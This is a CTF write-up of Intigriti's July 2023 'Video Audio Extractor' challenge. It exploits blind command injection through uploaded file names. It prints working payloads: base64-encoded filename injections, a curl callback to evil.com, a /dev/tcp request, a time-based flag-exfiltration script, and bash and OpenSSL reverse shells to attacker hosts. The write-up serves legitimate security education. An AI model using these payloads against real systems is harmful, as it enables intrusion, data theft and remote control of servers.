Try   HackMD

Rules

Table of contents

Introduction


‘Video Audio Extractor’ is a simple web application consisting of a single page - upload, with the main purpose of a user uploading a valid .mp4 file. The result is an extracted audio stream into a .wav file format being returned.

To solve this challenge and get the flag, there is only one vulnerability that has to be exploited. Of course, the fun part is that it can be done in multiple ways!

Finding the vulnerability

Looking at the HTML source code of the 'upload' page, there is nothing specifically interesting.
Plain HTML form which accepts a .mp4 input file and sends a POST request to "/upload" upon clicking the submit button "Upload and Extract Audio".

First Part

Whenever there is a file upload functionality that transforms an input file - I always first test with a valid request and then I check the EXIF metadata of the returned file. So let's start with that.

The following python code achieves that:

# python -m pip install -U pyexiftool import exiftool import requests import json import re url = "https://challenge-0723.intigriti.io:443/upload" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Origin": "https://challenge-0723.intigriti.io" } files = {'video': open('test.mp4', 'rb')} print("[+] Sending file to /upload") response = requests.post(url, headers=headers, files=files, allow_redirects=True) print("[+] Storing " + str(re.findall('filename=(.+)', response.headers['Content-disposition']))) open("test.wav", "wb").write(response.content) print("[+] Extracting metadata from file") print() responseFile = ["test.wav"] with exiftool.ExifToolHelper() as et: metadata = et.get_metadata(responseFile) for data in metadata: print(json.dumps(data, indent=2))

Note: 'test.mp4' should be present in the same directory as the script

The output of the above script should be:

└─$ python3 script.py [+] Sending file to /upload [+] Storing ['extracted_audio.wav'] [+] Extracting metadata from file { "SourceFile": "test.wav", "ExifTool:ExifToolVersion": 12.57, "File:FileName": "test.wav", "File:Directory": ".", "File:FileSize": 174394, "File:FileModifyDate": "2023:07:23 07:17:47-04:00", "File:FileAccessDate": "2023:07:23 07:17:40-04:00", "File:FileInodeChangeDate": "2023:07:23 07:17:47-04:00", "File:FilePermissions": 100644, "File:FileType": "WAV", "File:FileTypeExtension": "WAV", "File:MIMEType": "audio/x-wav", "RIFF:Encoding": 85, "RIFF:NumChannels": 2, "RIFF:SampleRate": 44100, "RIFF:AvgBytesPerSec": 24000, "RIFF:BitsPerSample": 0, "RIFF:NumberOfSamples": 320209, "RIFF:Software": "Lavf58.20.100", "Composite:Duration": 7.26641666666667 }

Alternatively, exiftool can be directly used:

└─$ exiftool extracted_audio.wav ExifTool Version Number : 12.57 File Name : extracted_audio.wav Directory : . File Size : 174 kB File Modification Date/Time : 2023:07:23 07:24:31-04:00 File Access Date/Time : 2023:07:23 07:24:32-04:00 File Inode Change Date/Time : 2023:07:23 07:24:31-04:00 File Permissions : -rw-r--r-- File Type : WAV File Type Extension : wav MIME Type : audio/x-wav Encoding : MP3 Num Channels : 2 Sample Rate : 44100 Avg Bytes Per Sec : 24000 Bits Per Sample : 0 Number Of Samples : 320209 Software : Lavf58.20.100 Duration : 7.27 s

The output tells us that the software which generated the file is using the libavformat library.
This strongly suggests that the backend is probably running the 'FFmpeg' tool to extract the audio.

So, the functionality is probably implemented similarly to this:

executeOSCommand("ffmpeg -i <FILE-NAME> ... # and some other parameters")

Note: When the used library/tool is disclosed via the EXIF data, it's always a good idea to search for known vulnerabilities

Second part

The second thing I always try to do when testing file upload functionality is going through the following list:

  1. Test file name validation
  2. Test file extensions validation
  3. Test Content-Type validation
  4. Test Magic Bytes validation
  5. Test for upload location disclosure
  6. Test input file size validation
  7. Upload the EICAR test file

Note: (5) & (6) & (7) are not applicable in the current context, however in other cases, they can yield helpful information


The results from the above tests tell us the following information:

  • If the file name contains spaces the backend returns Invalid filename, please make sure it is an MP4 file and does not contain any white spaces in the filename
  • The file extension must be .mp4
  • There is no validation on the Content-Type header and on the content itself. If the mp4 file is not valid the backend will return an 'Internal Server Error':
    HTTP/2 500 Internal Server Error
    Date: Sun, 23 Jul 2023 12:19:00 GMT
    Content-Type: application/json
    Content-Length: 90
    
    {"error":"That wasn't supposed to happen",
    "message":"Hey, stop trying to break things!!"}
  • If $,&,|, are used in the file name the backend returns the same 500 Error

Combining what we found in the first & second parts of the testing, we can conclude that there may be a Blind OS Command Execution vulnerability in the /upload endpoint via the file name.

Let's confirm that by trying the following payload -> $(sleep${IFS}13).mp4

  1. The file name ends with .mp4 ✅
  2. There are no spaces in the file name ✅, (instead ${IFS}, $IFS is used)
  3. The payload is using command substitution linux sub-shell to execute sleep ($() or ``)

The result is

Meaning the request took 13s+ to complete, which proves the command injection vulnerability!

Exploiting the vulnerability

The following payload template can be used, so we don't need to care about spaces and special characters:

$(echo${IFS}'<BASE64-ENCODED-COMMAND>'|base64${IFS}-d|bash).mp4

For example, if you want to execute sleep 13, the whole file name would look like:

$(echo${IFS}'c2xlZXAgMTMK'|base64${IFS}-d|bash).mp4

Note: echo 'c2xlZXAgMTMK' |base64 -d == sleep 13

Now the goal of the challenge is to extract the content of the flag.txt file, which is stored somewhere on the server.

Since this is a blind OS command execution, meaning the output is not visible we need some other way to get the flag:

  • Time-based file content exfiltration
  • Reverse shell
  • Move flag.txt into the webroot of the server so it can be accessed through the browser

But, first, let's see if we can get a network callback

Protocol Command Listener
HTTP curl evil.com:1337 python3 -m http.server 1337
ICMP ping evil.com sudo tcpdump -i <interface> icmp
DNS dig any @<ip-addr> -p 1337 dnserver --port 1337 zones.toml

Unfortunately, none of the requests went through, this could mean two things:

  1. The commands are executed in a slim Docker container that does not have curl, wget, ping, nc or dig installed
  2. All egress traffic is rejected

As a final option let's try making a request through /dev/tcp:

exec 3<>/dev/tcp/<IP>/80  echo -e "GET /d HTTP/1.1\r\n" >&3 cat <&3

Note: the final payload looks like that: $(echo${IFS}'ZXhlYyAzPD4vZGV2L3RjcC85My4xMjMuMTYuMjE3LzgwICBlY2hvIC1lICJHRVQgL2QgSFRUUC8xLjFcclxuIiA+JjMgY2F0IDwmMw=='|base64${IFS}-d|bash).mp4

If successful the command above should make a HTTP GET request:

Success!

This proves that there is a connectivity between our attacker machine and the target, which means a reverse shell is possible.

Time-based file content exfiltration

However, before doing that, let's first try the time-based exfiltration approach.
The logic is simple - execute a command and check the output character by character and if the correct character is found sleep for 'n' seconds.

For example, if we have the following file:

import requests import string name = "Danny" print("Hello " + name)

And if want to read it character by character the following command can be used:

cat test.py| tr '\n' ' ' | cut -c 1 
i

Which prints the '1st' character

Note: tr '\n' ' ' is required so the whole file content is displayed in single line

Now, combining it with an if statement and sleep:

if test $(cat file | tr '\n' ' ' | cut -c 1) == i; then sleep 10; fi 
# If the 1st character is equal to 'i' then sleep for 10 seconds.

To make it easier - the following Python script can be used to exfiltrate data:

import requests import base64 import string url = "https://challenge-0723.intigriti.io:443/upload" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------134433949610078204472740180012", "Origin": "https://challenge-0723.intigriti.io" } proxies = { "http": "http://127.0.0.1:8080/", "https": "https://127.0.0.1:8080/" } chars = list(string.printable) # decodedPayload = "`if test $(pwd | cut -c {1}) == {0}; then sleep 5; fi `" # decodedPayload = "`if test $(ls /| tr '\n' ' ' | cut -c {1}) == {0}; then sleep 5; fi `" decodedPayload = "if test $(cat /flag.txt | tr '\n' ' ' | cut -c {1}) == {0}; then sleep 5; fi " flag = "INTIGRITI{" data = """\r\n-----------------------------134433949610078204472740180012\r\nContent-Disposition: form-data; name=\"video\"; filename=\"`echo${{IFS}}{0}|base64${{IFS}}-d|bash`.mp4\"\r\nContent-Type: video/mp4\r\n\r\n\r\n-----------------------------134433949610078204472740180012--\r\n""" currIndex = 11 while True: for char in chars: payload = base64.b64encode(decodedPayload.format( char, str(currIndex)).encode('ascii')) response = requests.post(url=url, headers=headers, data=data.format(payload.decode('ascii'))) responseTime = response.elapsed.total_seconds() if (responseTime >= 5): flag += char print("[+] Character found: "+flag) currIndex = currIndex + 1 break flag += "?" currIndex = currIndex + 1

Basically, it iterates through all printable characters and checks the response time if it's greater or equal to 5, then a new character is found and the index is incremented - after that, the whole process starts again for the next character.

After some time the output of the script would look like that:

Note: the location of the flag was found before that by listing the current directory and the root directory

Reverse shell

There are multiple ways to achieve reverse shell connection. I will describe two:

  1. via Bash
  2. via OpenSSL

Note: Since the application is written in python and python interpreter is installed on the docker container, it's possible to do a reverse shell with python as well

Bash reverse shell

  1. Setup a listener with ngrok & nc
ngrok tcp 1332 # copy 'Forwarding' URL
nc -nvlp 1332 # run in a separate window or pane
  1. Base64 encode bash -i >& /dev/tcp/<ngrok-hostname>/<port> 0>&1
  2. Send the following payload
$(echo${IFS}'YmFzaCAtaSA+JiAvZGV2L3RjcC8yLnRjcC5ldS5uZ3Jvay5pby8xNjEyNCAwPiYx'|base64${IFS}-d|bash).mp4

Voilà! We got the reverse shell

└─$ nc -lnvp 1332
listening on [any] 1332 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37226
svc@challenge-0723-7cc4bc59df-mzjqn:/app$ whoami 
svc
svc@challenge-0723-7cc4bc59df-mzjqn:/app$ hostname
challenge-0723-7cc4bc59df-mzjqn
svc@challenge-0723-7cc4bc59df-mzjqn:/app$ cat /flag.txt
INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}

OpenSSL reverse shell

The last part of the flag talks about 'OpenSSL_Shell' which got me curious about the intended way of solving the challenge.

After some googlin', I found the following article reverse shell with OpenSSL
The author shares a way of creating a reverse shell using the openssl binary.

  1. Generate keys
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
  1. Start listener
openssl s_server -quiet -key key.pem -cert cert.pem -port <PORT>
  1. Launch reverse shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <ATTACKER-IP>:<PORT> > /tmp/s; rm /tmp/s

Note: The whole payload looks like that: $(echo${IFS}'bWtmaWZvIC90bXAvczsgIC9iaW4vc2ggLWkgPCAvdG1wL3MgMj4mMSB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0ICAtY29ubmVjdCA5My4xMjMuMTYuMjE3OjQ0MyA+IC90bXAvczsgcm0gL3RtcC9z'|base64${IFS}-d|bash).mp4"

And indeed, this works as expected:

dnny@dnny:/dev/shm$ sudo openssl s_server -quiet -key key.pem -cert cert.pem -port 443
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
$ hostname
challenge-0723-7cc4bc59df-mzjqn
$ cat /flag.txt
INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}

Recap

  1. EXIF data points to 'FFmpeg' tool usage
  2. File name validations and lack of sanitization suggest possible command injection
  3. Command injection is proved via $(sleep${IFS}13).mp4 file name
  4. The vulnerability got exploited in 3 ways:
    1. Time-based data exfiltration
    2. Bash reverse shell
    3. OpenSSL reverse shell

Summary

The latest challenge by Intigriti is an interesting CTF exercise which can be used to depict different ways of exploiting blind OS command execution vulnreabilities.

Moreover, this exercise sheds light on prevalent bad coding practices commonly found in the implementation of file upload functionality, offering valuable insights for developers to fortify their code against potential attacks

Overall, Intigriti's monthly CTF challenges not only provide an exciting and educational experience for cybersecurity enthusiasts but also play a crucial role in promoting a safer digital landscape by raising awareness about the importance of secure coding practices